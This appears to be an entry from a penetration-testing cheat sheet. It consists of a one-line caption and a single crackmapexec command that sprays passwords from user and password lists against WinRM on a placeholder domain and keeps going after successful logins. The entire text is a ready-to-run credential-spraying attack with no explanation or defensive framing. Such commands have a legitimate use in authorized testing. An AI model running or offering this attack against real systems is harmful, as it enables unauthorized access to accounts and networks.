Spray passwords against WinRM using user and password list:
crackmapexec winrm -u users.lst -p pass.lst --continue-on-success <domain.local>